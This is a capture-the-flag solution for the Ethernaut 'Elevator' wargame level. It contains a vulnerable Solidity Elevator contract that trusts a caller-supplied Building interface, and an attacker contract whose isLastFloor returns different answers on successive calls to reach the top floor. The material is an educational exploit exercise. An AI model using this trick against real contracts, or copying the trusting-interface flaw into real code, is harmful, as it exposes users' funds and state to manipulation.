Ethernaut - Level 11 - Elevator

contracts...Controll.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "./Elevator.sol";

contract Controll {
    Elevator public target;
    uint public count;

    constructor(address targetAddress) public {
        // 0x2bE60A41Fadb92c02c0D9Af79D61F8756CF77349
        target = Elevator(targetAddress);
        count = 0;
    }

    function isLastFloor(uint _floor) external returns (bool) {
        count++;
        return count % 2 == 0;
    }

    function goToTheRoof(uint _floor) public {
        target.goTo(_floor);
    }
}

contracts...Elevator.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}